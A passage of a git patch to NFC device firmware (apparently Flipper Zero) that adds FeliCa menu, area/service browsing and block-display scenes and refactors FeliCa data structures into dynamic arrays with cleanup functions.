++++++-- lib/nfc/protocols/felica_util.c | 43 ++++ lib/nfc/protocols/felica_util.h | 4 + 14 files changed, 654 insertions(+), 113 deletions(-) create mode 100644 applications/main/nfc/scenes/nfc_scene_felica_info_select.c create mode 100644 applications/main/nfc/scenes/nfc_scene_felica_menu.c create mode 100644 applications/main/nfc/scenes/nfc_scene_felica_service_data.c create mode 100644 lib/nfc/protocols/felica_util.c create mode 100644 lib/nfc/protocols/felica_util.h diff --git a/applications/main/nfc/nfc_i.h b/applications/main/nfc/nfc_i.h index 57eefbf67..69ac25013 100644 --- a/applications/main/nfc/nfc_i.h +++ b/applications/main/nfc/nfc_i.h @@ -40,10 +40,23 @@ #include +ARRAY_DEF(FelicaAreaPath, FelicaArea*, M_PTR_OPLIST); +ARRAY_DEF(FuriStringStack, FuriString*, M_PTR_OPLIST); ARRAY_DEF(MfClassicUserKeys, char*, M_PTR_OPLIST); #define NFC_TEXT_STORE_SIZE 128 + +typedef struct { + FuriStringStack_t strings; + + FelicaSystem* selected_system; + + FelicaAreaPath_t selected_areas; + + FelicaService* selected_service; +} FelicaSelectState; + typedef enum { NfcRpcStateIdle, NfcRpcStateEmulating, @@ -66,6 +79,7 @@ struct Nfc { FuriString* text_box_store; uint8_t byte_input_store[6]; MfClassicUserKeys_t mfc_key_strs; // Used in MFC key listing + FelicaSelectState felica_select; void* rpc_ctx; NfcRpcState rpc_state; diff --git a/applications/main/nfc/scenes/nfc_scene_config.h b/applications/main/nfc/scenes/nfc_scene_config.h index 07386bf22..a89d6c40b 100644 --- a/applications/main/nfc/scenes/nfc_scene_config.h +++ b/applications/main/nfc/scenes/nfc_scene_config.h @@ -46,6 +46,9 @@ ADD_SCENE(nfc, mf_classic_wrong_card, MfClassicWrongCard) ADD_SCENE(nfc, emv_read_success, EmvReadSuccess) ADD_SCENE(nfc, emv_menu, EmvMenu) ADD_SCENE(nfc, felica_read_success, FelicaReadSuccess) +ADD_SCENE(nfc, felica_menu, FelicaMenu) +ADD_SCENE(nfc, felica_info_select, FelicaInfoSelect) +ADD_SCENE(nfc, felica_service_data, FelicaServiceData) ADD_SCENE(nfc, emulate_apdu_sequence, EmulateApduSequence) ADD_SCENE(nfc, device_info, DeviceInfo) ADD_SCENE(nfc, delete, Delete) diff --git a/applications/main/nfc/scenes/nfc_scene_delete.c b/applications/main/nfc/scenes/nfc_scene_delete.c index cbb52bfd0..e20dbfd88 100644 --- a/applications/main/nfc/scenes/nfc_scene_delete.c +++ b/applications/main/nfc/scenes/nfc_scene_delete.c @@ -39,6 +39,8 @@ void nfc_scene_delete_on_enter(void* context) { furi_string_set(temp_str, nfc_mf_classic_type(nfc->dev->dev_data.mf_classic_data.type)); } else if(protocol == NfcDeviceProtocolMifareDesfire) { furi_string_set(temp_str, "MIFARE DESFire"); + } else if(protocol == NfcDeviceProtocolFelica) { + furi_string_set(temp_str, "FeliCa"); } else { furi_string_set(temp_str, "Unknown ISO tag"); } diff --git a/applications/main/nfc/scenes/nfc_scene_felica_info_select.c b/applications/main/nfc/scenes/nfc_scene_felica_info_select.c new file mode 100644 index 000000000..9f068822e --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_felica_info_select.c @@ -0,0 +1,124 @@ +#include "../nfc_i.h" +#include + +#define SYSTEM_EVENT + +void nfc_scene_felica_info_select_submenu_callback(void* context, uint32_t index) { + Nfc* nfc = context; + + view_dispatcher_send_custom_event(nfc->view_dispatcher, index); +} + +void nfc_scene_felica_info_select_on_enter(void* context) { + Nfc* nfc = context; + Submenu* submenu = nfc->submenu; + FelicaData* data = &nfc->dev->dev_data.felica_data; + FelicaSelectState* state = &nfc->felica_select; + + FuriStringStack_init(nfc->felica_select.strings); + FelicaAreaPath_init(nfc->felica_select.selected_areas); + + submenu_add_item(submenu, "[Actions]", 0, nfc_scene_felica_info_select_submenu_callback, nfc); + uint8_t i = 1; + if(state->selected_system == NULL) { + FelicaSystemList_it_t it; + for(FelicaSystemList_it(it, data->systems); !FelicaSystemList_end_p(it); FelicaSystemList_next(it)) { + FelicaSystem* current_system = *FelicaSystemList_ref(it); + FuriString* system_name = felica_get_system_name(current_system); + submenu_add_item( + submenu, + furi_string_get_cstr(system_name), + i++, + nfc_scene_felica_info_select_submenu_callback, + nfc); + FuriStringStack_push_back(state->strings, system_name); + } + } else if(FelicaAreaPath_size(state->selected_areas) == 0) { + FelicaArea* area_0 = &state->selected_system->root_area; + FelicaNodeList_it_t it; + for(FelicaNodeList_it(it, area_0->nodes); !FelicaNodeList_end_p(it); FelicaNodeList_next(it)) { + FelicaNode* node = *FelicaNodeList_ref(it); + if(node->type == FelicaNodeTypeArea) { + FuriString* area_name = furi_string_alloc_printf("Area %d", node->ptr.area->number); + submenu_add_item( + submenu, furi_string_get_cstr(area_name), i++, nfc_scene_felica_info_select_submenu_callback, nfc); + FuriStringStack_push_back(state->strings, area_name); + } else { + uint16_t service_code = node->ptr.service->number << 6; + FuriString* service_name = furi_string_alloc_printf("Service %04X", service_code); + submenu_add_item( + submenu, furi_string_get_cstr(service_name), i++, nfc_scene_felica_info_select_submenu_callback, nfc); + FuriStringStack_push_back(state->strings, service_name); + } + } + } + + state->selected_service = NULL; + submenu_set_selected_item( + nfc->submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcSceneFelicaInfoSelect)); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); +} + +bool nfc_scene_felica_info_select_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + FelicaData* data = &nfc->dev->dev_data.felica_data; + FelicaSelectState* state = &nfc->felica_select; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + uint8_t index = event.event; + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneMfUltralightMenu, index); + + if(index == 0) { + return false; + } + + index -= 1; + if(state->selected_system == NULL) { + state->selected_system = *FelicaSystemList_get(data->systems, index); + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaInfoSelect); + consumed = true; + } else { + FelicaNode* selected_node = NULL; + if (FelicaAreaPath_size(state->selected_areas) == 0) { + selected_node = *FelicaNodeList_get(state->selected_system->root_area.nodes, index); + } else { + FelicaArea* current_area = *FelicaAreaPath_back(state->selected_areas); + selected_node = *FelicaNodeList_get(current_area->nodes, index); + } + + if(selected_node->type == FelicaNodeTypeArea) { + FelicaAreaPath_push_back(state->selected_areas, selected_node->ptr.area); + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaInfoSelect); + consumed = true; + } else if(selected_node->type == FelicaNodeTypeService) { + state->selected_service = selected_node->ptr.service; + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaServiceData); + consumed = true; + } + } + } else if(event.type == SceneManagerEventTypeBack) { + if(FelicaAreaPath_size(state->selected_areas) <= 1) { + FelicaAreaPath_clear(state->selected_areas); + state->selected_system = NULL; + } else { + FelicaAreaPath_pop_back(NULL, state->selected_areas); + } + consumed = scene_manager_previous_scene(nfc->scene_manager); + } + + return consumed; +} + +void nfc_scene_felica_info_select_on_exit(void* context) { + Nfc* nfc = context; + + // Clear view + FelicaAreaPath_clear(nfc->felica_select.selected_areas); + FuriStringStack_it_t it; + for(FuriStringStack_it(it, nfc->felica_select.strings); !FuriStringStack_end_p(it); FuriStringStack_next(it)) { + furi_string_free(*FuriStringStack_ref(it)); + } + submenu_reset(nfc->submenu); +} diff --git a/applications/main/nfc/scenes/nfc_scene_felica_menu.c b/applications/main/nfc/scenes/nfc_scene_felica_menu.c new file mode 100644 index 000000000..669bfd4ee --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_felica_menu.c @@ -0,0 +1,84 @@ +#include "../nfc_i.h" +#include + +enum SubmenuIndex { + /* + SubmenuIndexUnlock, + SubmenuIndexSave, + SubmenuIndexEmulate, + */ + SubmenuIndexInfo, +}; + +void nfc_scene_felica_menu_submenu_callback(void* context, uint32_t index) { + Nfc* nfc = context; + + view_dispatcher_send_custom_event(nfc->view_dispatcher, index); +} + +void nfc_scene_felica_menu_on_enter(void* context) { + Nfc* nfc = context; + Submenu* submenu = nfc->submenu; + // FelicaData* data = &nfc->dev->dev_data.felica_data; + + /* + submenu_add_item( + submenu, "Unlock", SubmenuIndexUnlock, nfc_scene_felica_menu_submenu_callback, nfc); + submenu_add_item( + submenu, "Save", SubmenuIndexSave, nfc_scene_felica_menu_submenu_callback, nfc); + submenu_add_item( + submenu, "Emulate", SubmenuIndexEmulate, nfc_scene_felica_menu_submenu_callback, nfc); + */ + submenu_add_item( + submenu, "Info", SubmenuIndexInfo, nfc_scene_felica_menu_submenu_callback, nfc); + + submenu_set_selected_item( + nfc->submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcSceneFelicaMenu)); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); +} + +bool nfc_scene_felica_menu_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + /* + if(event.event == SubmenuIndexSave) { + nfc->dev->format = NfcDeviceSaveFormatFelica; + // Clear device name + nfc_device_set_name(nfc->dev, ""); + scene_manager_next_scene(nfc->scene_manager, NfcSceneSaveName); + consumed = true; + } else if(event.event == SubmenuIndexEmulate) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaEmulate); + if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetType)) { + DOLPHIN_DEED(DolphinDeedNfcAddEmulate); + } else { + DOLPHIN_DEED(DolphinDeedNfcEmulate); + } + consumed = true; + } else if(event.event == SubmenuIndexUnlock) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaUnlockMenu); + consumed = true; + } else + */ + if(event.event == SubmenuIndexInfo) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaInfoSelect); + consumed = true; + } + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneFelicaMenu, event.event); + + } else if(event.type == SceneManagerEventTypeBack) { + consumed = scene_manager_previous_scene(nfc->scene_manager); + } + + return consumed; +} + +void nfc_scene_felica_menu_on_exit(void* context) { + Nfc* nfc = context; + + // Clear view + submenu_reset(nfc->submenu); +} diff --git a/applications/main/nfc/scenes/nfc_scene_felica_read_success.c b/applications/main/nfc/scenes/nfc_scene_felica_read_success.c index 80548c09d..81777a0f7 100644 --- a/applications/main/nfc/scenes/nfc_scene_felica_read_success.c +++ b/applications/main/nfc/scenes/nfc_scene_felica_read_success.c @@ -20,6 +20,8 @@ void nfc_scene_felica_read_success_on_enter(void* context) { Widget* widget = nfc->widget; widget_add_button_element( widget, GuiButtonTypeLeft, "Retry", nfc_scene_felica_read_success_widget_callback, nfc); + widget_add_button_element( + widget, GuiButtonTypeRight, "More", nfc_scene_felica_read_success_widget_callback, nfc); FuriString* temp_str = NULL; if(furi_string_size(nfc->dev->dev_data.parsed_data)) { @@ -27,8 +29,9 @@ void nfc_scene_felica_read_success_on_enter(void* context) { } else { temp_str = furi_string_alloc_printf("\e#%s", nfc_felica_type(felica_data->type)); - FelicaSystem* current_system = felica_data->systems; - while(current_system) { + FelicaSystemList_it_t it; + for(FelicaSystemList_it(it, felica_data->systems); !FelicaSystemList_end_p(it); FelicaSystemList_next(it)) { + FelicaSystem* current_system = *FelicaSystemList_ref(it); furi_string_cat_printf( temp_str, "\nSystem %04X (#%d):", current_system->code, current_system->number); furi_string_cat_printf(temp_str, "\nIDm:\n "); @@ -39,8 +42,6 @@ void nfc_scene_felica_read_success_on_enter(void* context) { for(size_t i = 0; i < 8; i++) { furi_string_cat_printf(temp_str, "%02X", current_system->pmm[i]); } - - current_system = current_system->next; } } @@ -61,7 +62,7 @@ bool nfc_scene_felica_read_success_on_event(void* context, SceneManagerEvent eve scene_manager_next_scene(nfc->scene_manager, NfcSceneRetryConfirm); consumed = true; } else if(event.event == GuiButtonTypeRight) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcaMenu); + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaMenu); consumed = true; } } else if(event.type == SceneManagerEventTypeBack) { diff --git a/applications/main/nfc/scenes/nfc_scene_felica_service_data.c b/applications/main/nfc/scenes/nfc_scene_felica_service_data.c new file mode 100644 index 000000000..7cb2ba591 --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_felica_service_data.c @@ -0,0 +1,143 @@ +#include "../nfc_i.h" + +void nfc_scene_felica_service_data_on_enter(void* context) { + Nfc* nfc = context; + FelicaSelectState* select_state = &nfc->felica_select; + FelicaSystem* system = select_state->selected_system; + FelicaService* service = select_state->selected_service; + TextBox* text_box = nfc->text_box; + + if(system->code == LITE_SYSTEM_CODE && service->number == 0) { + text_box_set_font(text_box, TextBoxFontHex); + furi_string_cat_str(nfc->text_box_store, "S_PAD:\n"); + for(int i = 0; i < REG_LITE_BLOCK; i++) { + FelicaBlock* block = *FelicaBlockList_cget(service->blocks, i); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + if(block != NULL) { + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } else { + furi_string_cat_printf(nfc->text_box_store, "???? "); + } + } + } + + furi_string_cat_str(nfc->text_box_store, "REG:\n"); + FelicaBlock* block = *FelicaBlockList_cget(service->blocks, REG_LITE_BLOCK); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + if(block != NULL) { + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } else { + furi_string_cat_printf(nfc->text_box_store, "???? "); + } + } + + furi_string_cat_str(nfc->text_box_store, "RC:\n"); + block = *FelicaBlockList_cget(service->blocks, RC_LITE_BLOCK); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } + + furi_string_cat_str(nfc->text_box_store, "MAC:\n"); + block = *FelicaBlockList_cget(service->blocks, MAC_LITE_BLOCK); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } + + furi_string_cat_str(nfc->text_box_store, "ID:\n"); + block = *FelicaBlockList_cget(service->blocks, ID_LITE_BLOCK); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } + + furi_string_cat_str(nfc->text_box_store, "D_ID:\n"); + block = *FelicaBlockList_cget(service->blocks, DEVICE_ID_LITE_BLOCK); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } + + furi_string_cat_str(nfc->text_box_store, "CKV:\n"); + block = *FelicaBlockList_cget(service->blocks, CARD_KEY_VER_LITE_BLOCK); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } + + furi_string_cat_str(nfc->text_box_store, "MC:\n"); + block = *FelicaBlockList_cget(service->blocks, MEM_CONFIG_LITE_BLOCK); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } + + furi_string_cat_str(nfc->text_box_store, "WCNT:\n"); + block = *FelicaBlockList_cget(service->blocks, WRITE_COUNT_LITE_BLOCK); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } + + furi_string_cat_str(nfc->text_box_store, "MAC_A:\n"); + block = *FelicaBlockList_cget(service->blocks, MAC_A_LITE_BLOCK); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } + + furi_string_cat_str(nfc->text_box_store, "CRC_CHECK:\n"); + block = *FelicaBlockList_cget(service->blocks, CRC_CHECK_LITE_BLOCK); + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + } + } + text_box_set_text(text_box, furi_string_get_cstr(nfc->text_box_store)); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextBox); +} + +bool nfc_scene_felica_service_data_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeBack) { + consumed = scene_manager_previous_scene(nfc->scene_manager); + } + + return consumed; +} + +void nfc_scene_felica_service_data_on_exit(void* context) { + Nfc* nfc = context; + + // Clean view + text_box_reset(nfc->text_box); + furi_string_reset(nfc->text_box_store); +} \ No newline at end of file diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index a9999e20e..4f8c67f0a 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,8.2,, +Version,+,8.3,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -792,8 +792,20 @@ Function,-,fdimf,float,"float, float" Function,-,fdiml,long double,"long double, long double" Function,-,fdopen,FILE*,"int, const char*" Function,-,felica_check_ic_type,_Bool,uint8_t* +Function,-,felica_clear,void,FelicaData* +Function,-,felica_define_normal_block,void,"FelicaService*, uint16_t, uint8_t*" Function,-,felica_get_ic_type,FelicaICType,uint8_t* +Function,-,felica_get_service_name,FuriString*,FelicaService* +Function,-,felica_get_system_name,FuriString*,FelicaSystem* +Function,-,felica_lite_can_read_without_mac,_Bool,"uint8_t*, uint8_t" +Function,-,felica_lite_prepare_unencrypted_read,uint8_t,"uint8_t*, const FelicaReader*, _Bool, const uint8_t*, uint8_t" +Function,-,felica_lite_prepare_unencrypted_write,uint8_t,"uint8_t*, const FelicaReader*, const uint8_t*, uint8_t, const uint8_t*" +Function,-,felica_parse_unencrypted_read,uint16_t,"uint8_t*, uint8_t, FelicaReader*, uint8_t*, uint16_t" +Function,-,felica_parse_unencrypted_write,_Bool,"uint8_t*, uint8_t, FelicaReader*" +Function,-,felica_prepare_unencrypted_read,uint8_t,"uint8_t*, const FelicaReader*, const uint16_t*, uint8_t, const uint32_t*, uint8_t" +Function,-,felica_prepare_unencrypted_write,uint8_t,"uint8_t*, FelicaReader*, const uint16_t*, uint8_t, const uint32_t*, uint8_t, const uint8_t*" Function,-,felica_read_card,_Bool,"FuriHalNfcTxRxContext*, FelicaData*, uint8_t*, uint8_t*" +Function,-,felica_read_lite_system,_Bool,"FuriHalNfcTxRxContext*, FelicaReader*, FelicaData*, FelicaSystem*" Function,-,feof,int,FILE* Function,-,feof_unlocked,int,FILE* Function,-,ferror,int,FILE* diff --git a/lib/nfc/nfc_device.c b/lib/nfc/nfc_device.c index 32dae3c15..eb911f54b 100644 --- a/lib/nfc/nfc_device.c +++ b/lib/nfc/nfc_device.c @@ -1221,6 +1221,8 @@ void nfc_device_data_clear(NfcDeviceData* dev_data) { mf_ul_reset(&dev_data->mf_ul_data); } else if(dev_data->protocol == NfcDeviceProtocolEMV) { memset(&dev_data->emv_data, 0, sizeof(EmvData)); + } else if(dev_data->protocol == NfcDeviceProtocolFelica) { + felica_clear(&dev_data->felica_data); } memset(&dev_data->nfc_data, 0, sizeof(FuriHalNfcDevData)); dev_data->protocol = NfcDeviceProtocolUnknown; diff --git a/lib/nfc/nfc_device.h b/lib/nfc/nfc_device.h index 54c696ff9..9065b73b5 100644 --- a/lib/nfc/nfc_device.h +++ b/lib/nfc/nfc_device.h @@ -12,6 +12,7 @@ #include #include #include +#include #ifdef __cplusplus extern "C" { diff --git a/lib/nfc/protocols/felica.c b/lib/nfc/protocols/felica.c index 5cfa42d19..8387674df 100644 --- a/lib/nfc/protocols/felica.c +++ b/lib/nfc/protocols/felica.c @@ -68,6 +68,87 @@ bool felica_check_ic_type(uint8_t* PMm) { return true; } +FelicaICType felica_get_ic_type(uint8_t* PMm) { + uint8_t rom_type = PMm[0]; + uint8_t ic_type = PMm[1]; + + UNUSED(rom_type); + switch(ic_type) { + case 0xff: + return FelicaICTypeLink; + case 0xf2: + return FelicaICTypeLink; + case 0xf1: + return FelicaICTypeLiteS; + case 0xf0: + return FelicaICTypeLite; + case 0xe1: + return FelicaICTypeLink; + case 0xe0: + return FelicaICTypePlug; + case 0x48: + return FelicaICTypeSD2_6K; + case 0x47: + return FelicaICTypeRC_SA24_6K; + case 0x46: + return FelicaICTypeSD2_4K; + case 0x45: + case 0x44: + return FelicaICTypeSD2WithDES; + case 0x3e: + return FelicaICTypeRC_SA08; + case 0x35: + return FelicaICTypeSD1; + case 0x32: + return FelicaICTypeSD1WithDES; + case 0x31: + return FelicaICTypeSuica; + case 0x20: + return FelicaICTypeFRAM_4K; + case 0x1f: + case 0x1e: + case 0x1d: + case 0x1c: + case 0x1b: + case 0x1a: + case 0x19: + case 0x18: + return FelicaICTypeMobileIC_V4_1; + case 0x17: + return FelicaICTypeMobileIC_V4; + case 0x16: + case 0x15: + case 0x14: + return FelicaICTypeMobileIC_V3; + case 0x13: + case 0x12: + case 0x11: + case 0x10: + return FelicaICTypeMobileIC_V2; + case 0x0d: + return FelicaICTypeFRAM_9K; + case 0x0c: + return FelicaICTypeEMV_36K; + case 0x0b: // Old Suica? + return FelicaICTypeSuica; + case 0x09: + return FelicaICTypeEMV_16K; + case 0x08: + return FelicaICTypeEMV_32K; + case 0x07: + case 0x06: + return FelicaICTypeMobileIC_V1; + case 0x02: + return FelicaICType576B; + case 0x01: + return FelicaICType4K; + case 0x00: + return FelicaICType2K; + } + + return FelicaICType2K; +} + uint8_t felica_prepare_unencrypted_read( uint8_t* dest, const FelicaReader* reader, @@ -262,87 +343,6 @@ bool felica_parse_unencrypted_write(uint8_t* buf, uint8_t len, FelicaReader* rea return true; } -FelicaICType felica_get_ic_type(uint8_t* PMm) { - uint8_t rom_type = PMm[0]; - uint8_t ic_type = PMm[1]; - - UNUSED(rom_type); - switch(ic_type) { - case 0xff: - return FelicaICTypeLink; - case 0xf2: - return FelicaICTypeLink; - case 0xf1: - return FelicaICTypeLiteS; - case 0xf0: - return FelicaICTypeLite; - case 0xe1: - return FelicaICTypeLink; - case 0xe0: - return FelicaICTypePlug; - case 0x48: - return FelicaICTypeSD2_6K; - case 0x47: - return FelicaICTypeRC_SA24_6K; - case 0x46: - return FelicaICTypeSD2_4K; - case 0x45: - case 0x44: - return FelicaICTypeSD2WithDES; - case 0x3e: - return FelicaICTypeRC_SA08; - case 0x35: - return FelicaICTypeSD1; - case 0x32: - return FelicaICTypeSD1WithDES; - case 0x31: - return FelicaICTypeSuica; - case 0x20: - return FelicaICTypeFRAM_4K; - case 0x1f: - case 0x1e: - case 0x1d: - case 0x1c: - case 0x1b: - case 0x1a: - case 0x19: - case 0x18: - return FelicaICTypeMobileIC_V4_1; - case 0x17: - return FelicaICTypeMobileIC_V4; - case 0x16: - case 0x15: - case 0x14: - return FelicaICTypeMobileIC_V3; - case 0x13: - case 0x12: - case 0x11: - case 0x10: - return FelicaICTypeMobileIC_V2; - case 0x0d: - return FelicaICTypeFRAM_9K; - case 0x0c: - return FelicaICTypeEMV_36K; - case 0x0b: // Old Suica? - return FelicaICTypeSuica; - case 0x09: - return FelicaICTypeEMV_16K; - case 0x08: - return FelicaICTypeEMV_32K; - case 0x07: - case 0x06: - return FelicaICTypeMobileIC_V1; - case 0x02: - return FelicaICType576B; - case 0x01: - return FelicaICType4K; - case 0x00: - return FelicaICType2K; - } - - return FelicaICType2K; -} - void felica_parse_system_info(FelicaSystem* system, uint8_t* IDm, uint8_t* PMm) { memcpy(system->idm, IDm, 8); memcpy(system->pmm, PMm, 8); @@ -369,7 +369,7 @@ void felica_define_normal_block(FelicaService* service, uint16_t number, uint8_t FelicaBlock* block = malloc(sizeof(FelicaBlock)); block->type = FelicaBlockTypeNormal; memcpy(block->data, data, FELICA_BLOCK_SIZE); - service->blocks[number] = block; + FelicaBlockList_set_at(service->blocks, number, block); } bool felica_read_lite_system( @@ -407,15 +407,23 @@ bool felica_read_lite_system( } system->code = LITE_SYSTEM_CODE; + FelicaArea* area = &system->root_area; FelicaService* service = malloc(sizeof(FelicaService)); - system->services = service; - service->number = 0; - service->block_count = CRC_CHECK_LITE_BLOCK; - service->blocks = malloc(sizeof(FelicaBlock*) * service->block_count); - for(int i = 0; i < service->block_count; i++) { - service->blocks[i] = NULL; + FelicaBlockList_init(service->blocks); + for(int i = 0; i < CRC_CHECK_LITE_BLOCK; i++) { + FelicaBlockList_push_back(service->blocks, NULL); } + area->number = 0; + area->end_service_code = 0x000f; + FelicaNodeList_init(area->nodes); + FelicaNode* node = malloc(sizeof(node)); + node->type = FelicaNodeTypeService, + node->ptr.service = service; + FelicaNodeList_push_back(area->nodes, node); + + service->number = 0; + felica_define_normal_block(service, SYS_CODE_LITE_BLOCK, block_data); memset(block_data, 0, FELICA_BLOCK_SIZE); @@ -549,10 +557,10 @@ bool felica_read_card( memcpy(reader.current_pmm, polled_pmm, 8); FelicaSystem* current_system = malloc(sizeof(FelicaSystem)); - data->systems = current_system; + FelicaSystemList_init(data->systems); + FelicaSystemList_push_back(data->systems, current_system); felica_parse_system_info(current_system, polled_idm, polled_pmm); - current_system->next = NULL; if(data->type == FelicaICTypeLite || data->type == FelicaICTypeLiteS) { FURI_LOG_I(TAG, "Reading Felica Lite system"); @@ -564,3 +572,35 @@ bool felica_read_card( return card_read; } + +void felica_service_clear(FelicaService* service) { + FelicaBlockList_it_t it; + for(FelicaBlockList_it(it, service->blocks); !FelicaBlockList_end_p(it); FelicaBlockList_next(it)) { + FelicaBlock* block = *FelicaBlockList_ref(it); + free(block); + } + FelicaBlockList_clear(service->blocks); +} + +void felica_area_clear(FelicaArea* area) { + FelicaNodeList_it_t it; + for(FelicaNodeList_it(it, area->nodes); !FelicaNodeList_end_p(it); FelicaNodeList_next(it)) { + FelicaNode* node = *FelicaNodeList_ref(it); + if (node->type == FelicaNodeTypeArea) { + felica_area_clear(node->ptr.area); + } else if(node->type == FelicaNodeTypeService) { + felica_service_clear(node->ptr.service); + } + free(node); + } + FelicaNodeList_clear(area->nodes); +} + +void felica_clear(FelicaData* data) { + FelicaSystemList_it_t it; + for(FelicaSystemList_it(it, data->systems); !FelicaSystemList_end_p(it); FelicaSystemList_next(it)) { + FelicaSystem* system = *FelicaSystemList_ref(it); + felica_area_clear(&system->root_area); + } + FelicaSystemList_clear(data->systems); +} \ No newline at end of file diff --git a/lib/nfc/protocols/felica.h b/lib/nfc/protocols/felica.h index 1f0912802..f79d28ce6 100644 --- a/lib/nfc/protocols/felica.h +++ b/lib/nfc/protocols/felica.h @@ -1,6 +1,7 @@ #pragma once #include +#include #define NFCF_F_SIG (13560000.0) #define MRT_T_SIG 302064.89 //ns, 256 * 16 / NFC_F_SIG * 1e9 @@ -113,12 +114,6 @@ typedef enum { } FelicaMRTCommandType; typedef FelicaMRTParts FelicaMRTParameters[6]; - -typedef struct { - uint16_t number; - uint16_t end_service_code; -} FelicaArea; - typedef enum { FelicaBlockTypeNormal, FelicaBlockTypeOverlap, @@ -134,14 +129,37 @@ typedef struct { // typedef struct {} FelicaOverlapBlock; -typedef struct _FelicaService_t { - uint16_t number; - uint16_t block_count; - FelicaBlock** blocks; +ARRAY_DEF(FelicaBlockList, FelicaBlock*, M_PTR_OPLIST); - struct _FelicaService_t* next; +typedef struct { + uint16_t number; + FelicaBlockList_t blocks; } FelicaService; +typedef enum { + FelicaNodeTypeArea, + FelicaNodeTypeService, +} FelicaNodeType; + +struct _FelicaArea_t; +typedef struct { + FelicaNodeType type; + union { + struct _FelicaArea_t* area; + FelicaService* service; + } ptr; +} FelicaNode; +ARRAY_DEF(FelicaNodeList, FelicaNode*, M_PTR_OPLIST); + +typedef struct _FelicaArea_t { + uint16_t number; + bool can_create_subareas; + uint16_t end_service_code; + + FelicaNodeList_t nodes; + +} FelicaArea; + typedef struct _FelicaSystem_t { uint8_t number; uint16_t code; @@ -149,16 +167,18 @@ typedef struct _FelicaSystem_t { uint8_t pmm[8]; FelicaMRTParameters maximum_response_times; - FelicaService* services; - - struct _FelicaSystem_t* next; + /** This struct represents area 0, + * which always exists on a given system + */ + FelicaArea root_area; } FelicaSystem; +ARRAY_DEF(FelicaSystemList, FelicaSystem*, M_PTR_OPLIST); + typedef struct { FelicaICType type; uint8_t subtype; - uint8_t system_count; - FelicaSystem* systems; + FelicaSystemList_t systems; } FelicaData; typedef struct { @@ -170,8 +190,56 @@ typedef struct { bool 